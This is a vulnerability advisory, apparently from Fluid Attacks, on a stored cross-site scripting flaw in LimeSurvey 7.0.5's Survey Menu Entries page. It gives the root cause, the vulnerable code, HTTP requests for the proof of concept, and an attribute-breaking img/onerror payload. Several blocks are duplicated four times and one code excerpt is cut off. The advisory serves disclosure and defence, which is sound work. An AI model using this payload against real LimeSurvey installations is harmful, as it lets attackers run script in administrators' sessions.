LimeSurvey 7.0.5 - Stored XSS in Survey Menu Entries

8.4

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Miguel Gómez

Summary

Full name

LimeSurvey 7.0.5 - Stored XSS in Survey Menu Entries

Code name

State

Public

Release date

Affected product

LimeSurvey

Vendor

LimeSurvey

Affected version(s)

7.0.5

Vulnerability name

Stored cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

8.4

Exploit available

Yes

Description

LimeSurvey Community Edition 7.0.5 contains a stored cross-site scripting vulnerability in the Survey Menu Entries administration page. An authenticated user with the global settings:read permission can create a survey menu entry containing attacker-controlled data. The value is stored in the surveymenu_entries.data field and later inserted into a single-quoted HTML title attribute without context-appropriate encoding.

When another authorized user opens the Survey Menu Entries page, a quote-breaking payload can terminate the attribute and inject HTML with an event handler. The JavaScript executes in the victim's authenticated LimeSurvey browser session and can perform actions available to that victim.

Vulnerability

Root cause

  1. Insufficient authorization on creation. SurveymenuEntryController::__construct() only requires settings:read (application/controllers/admin/SurveymenuEntryController.php:13-21). The create() action does not independently require settings:create (application/controllers/admin/SurveymenuEntryController.php:98-115).

  2. Attacker-controlled value is persisted. create() assigns $_POST['SurveymenuEntries'] to the model, and the model marks data as safe without an XSS-specific validator (application/controllers/admin/SurveymenuEntryController.php:105-107, application/models/SurveymenuEntries.php:49-64). The update path performs the same assignment for users with settings:update (application/controllers/admin/SurveymenuEntryController.php:124-156).

  3. Unsafe HTML sink. SurveymenuEntries::getColumns() concatenates $data->data into an HTML attribute and marks the result as raw (application/models/SurveymenuEntries.php:401-407):

    'value' => '$data->data ? "<i class=\'ri-information-fill bigIcons\' title=\'".$data->data."\'></i>"
        : ( $data->getdatamethod ? gT("GET data method:")."<br/>
    
    
    'value' => '$data->data ? "<i class=\'ri-information-fill bigIcons\' title=\'".$data->data."\'></i>"
        : ( $data->getdatamethod ? gT("GET data method:")."<br/>
    
    
    'value' => '$data->data ? "<i class=\'ri-information-fill bigIcons\' title=\'".$data->data."\'></i>"
        : ( $data->getdatamethod ? gT("GET data method:")."<br/>
    
    
    'value' => '$data->data ? "<i class=\'ri-information-fill bigIcons\' title=\'".$data->data."\'></i>"
        : ( $data->getdatamethod ? gT("GET data method:")."<br/>
    
    

Confirmed source-to-sink path

  1. An authenticated low-privileged user submits SurveymenuEntries[data] to POST /index.php/admin/menuentries/sa/create.

  2. SurveymenuEntryController::create() copies the field into a SurveymenuEntries model and saves it.

  3. The value is persisted in the surveymenu_entries.data column.

  4. GET /index.php/admin/menuentries/sa/view loads the records and invokes SurveymenuEntries::getColumns().

  5. The stored value is placed inside title='...' and returned as raw HTML.

  6. A payload such as '><img src=x onerror="alert(document.domain)"> closes the attribute and creates an executable event handler.

Related update path

POST /index.php/admin/menuentries/sa/update/id/0 also creates a new SurveymenuEntries model. The main-menu restriction is checked before POST data is assigned, while the new model has no main-menu ID yet (application/controllers/admin/SurveymenuEntryController.php:128-151). A user with settings:update can therefore submit menu_id=1 or menu_id=2 through this path and persist the same payload.

PoC

Preconditions

  • LimeSurvey Community Edition 7.0.5+260623.

  • An authenticated account with global settings:read permission for the creation path.

  • A valid CSRF token and session cookie.

  • A second authorized user who opens the Survey Menu Entries page. The impact is determined by the victim's permissions.

Creation path

Send an authenticated form request to:

POST /index.php/admin/menuentries/sa/create HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated-session>

YII_CSRF_TOKEN=<csrf>

POST /index.php/admin/menuentries/sa/create HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated-session>

YII_CSRF_TOKEN=<csrf>

POST /index.php/admin/menuentries/sa/create HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated-session>

YII_CSRF_TOKEN=<csrf>

POST /index.php/admin/menuentries/sa/create HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated-session>

YII_CSRF_TOKEN=<csrf>

The payload may also be supplied using a unique marker, for example:

'><img src=x onerror="alert(`backstreet-<timestamp>`)">
'><img src=x onerror="alert(`backstreet-<timestamp>`)">
'><img src=x onerror="alert(`backstreet-<timestamp>`)">
'><img src=x onerror="alert(`backstreet-<timestamp>`)">

After the record is stored, have an authorized user request:

http://127.0.0.1:8081/index.php/admin/menuentries/sa/view?pageSize=1000
http://127.0.0.1:8081/index.php/admin/menuentries/sa/view?pageSize=1000
http://127.0.0.1:8081/index.php/admin/menuentries/sa/view?pageSize=1000
http://127.0.0.1:8081/index.php/admin/menuentries/sa/view?pageSize=1000

Expected result:

  • The response contains the stored payload in an unescaped title attribute.

  • The injected image handler executes when the table is rendered.

  • JavaScript runs in the victim's authenticated LimeSurvey session.

Update path

An authenticated user with settings:update can send the same payload to:

POST /index.php/admin/menuentries/sa/update/id/0
POST /index.php/admin/menuentries/sa/update/id/0
POST /index.php/admin/menuentries/sa/update/id/0
POST /index.php/admin/menuentries/sa/update/id/0

Include SurveymenuEntries[data] and SurveymenuEntries[menu_id]=1 in the request body. The id=0 path reaches a new model before the submitted menu ID is applied, so the main-menu check does not prevent the write.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-15973 to refer to this issue from now on.

Disclosure policy

System Information

  • LimeSurvey

  • Version: 7.0.5

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Miguel Gomez from Fluid Attacks' Offensive Team using the AI SAST Scanner.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

logo-fluidattacks-white-png

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks